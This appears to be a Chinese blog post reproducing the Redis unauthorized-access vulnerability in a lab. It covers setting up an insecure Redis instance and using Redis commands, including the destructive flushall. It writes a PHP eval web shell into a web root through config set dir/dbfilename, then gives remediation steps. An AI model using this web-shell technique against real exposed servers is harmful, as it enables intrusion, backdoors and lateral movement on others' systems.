• redis未授权漏洞复现


    1.redis未授权访问定义

      Redis是一个C语言编写的基于key-value类型的高效数据库。

      Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。

      同时redis也可以将内存中的数据写入磁盘之中。

    2.产生redis未授权访问漏洞的原因

      主要是因为配置不当,导致此漏洞的产生,导致恶意数据写入内存或者磁盘之中,造成更大的危害

      配置不当原因如下:

        redis无密码或者使用弱密码

        redis监听在0.0.0.0

        redis服务以root账户进行

      攻击危害:

        redis数据库中的数据泄露或被恶意删除

        修改服务器的重要文件,控制redis所在的服务器

        配合SSRF进行自动化的蠕虫攻击

    3.redis服务的搭建

    wget http://download.redis.io/releases/redis-3.2.0.tar.gz   //下载redis的压缩包文件

     tar -zxvf redis-3.2.0.tar.gz  //解压缩

     cd redis-3.2.0   //切换目录
     make      //进行编译

     接着生成,一个是redis-server,另一个是redis-cli:

    cd src/

    make install

     cd ..

    ls

    vi redis.conf

    (1)bind 127.0.0.1 前面加上#号    注释掉该行,代表任意机器都可以登录redis

    (2)protected-mode设为no     设置为no,以为这关闭安全设置

     cd  ./src

    redis-server /root/redis-3.2.0/redis.conf        //加载刚刚修改后的配置文件,来启动redis

     netstat   -panut  //查看redis启动情况

     也可以使用nmap进行探测(攻击机可以是本机或者其他机器)

    nmap -A -p 6379  --script  redis-info  127.0.0.1

    redis-cli  -h  127.0.0.1  //连接redis服务器

    info      //测试是否可以执行命令,可以的话就说明存在未授权

    4.redis常用命令

    redis-cli -h ip -p 6379 -a passwd        #连接redis

    info                                    #查看redis版本信息等

    keys *                                    #列出当前数据库中所有的键

    flushall                                #删除所有数据库中的key(谨慎使用)

    flushdb                                    #删除当前数据库中的所有Key

    slaveof ip port                            #设置主从关系
            
    SET key value                            #设置一个键的值

    GET key                                    #获取一个建的值

    del x                                    #删除名字为” x “的key内容

    5.向redis中写入shell
    config set dir /var/www/html/                        //切换目录到网站的根目录

    set x "\n\n\n<?php phpinfo();?>\n\n\n"                //写入恶意代码到内存中(1)

    set xxx "\n\n\n<?php eval(@$_REQUEST['a']);?>\n\n\n"    //写入恶意代码到内存中(2)

    config set dbfilename shell.php                        //设置在磁盘中生成木马文件的名字

    save                                                //将内存之中的数据导出到磁盘文件

     在靶机上查看是否导入成功

     开启apache2服务

     登录服务器查看,说明上传的木马成功,接下来就可以使用冰蝎,进行远程连接,进行提权之类,以及将此服务器作为跳板,进行内网攻击,横向移动,从而获取更多主机权限

     6.修复方法

      redis.conf中配置requirepass项,增加更加复杂的访问密码

      redis.conf中取消bind 127.0.0.1前面的#    //进行本地IP绑定,只允许进行本地访问

      限定可以连接redis服务器的IP

      禁止使用root权限启动redis服务

      修改redis默认端口6379

  • 相关阅读:
    Docker实践之03-Dockerfile指令详解
    Docker实践之02-使用镜像及定制
    通过Hack方式实现SDC中Stage配置联动刷新
    多级部门查询性能问题解决方案
    Docker实践之01-入门介绍
    从阿里腾讯2朵云产品中学到的用户体验
    HttpClient在多线程环境下踩坑总结
    一次对JDK进行"减肥"的记录
    北京西站如何进站接人
    多实例集群部署下的图片上传和访问
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/15971902.html
Copyright © 2020-2023  润新知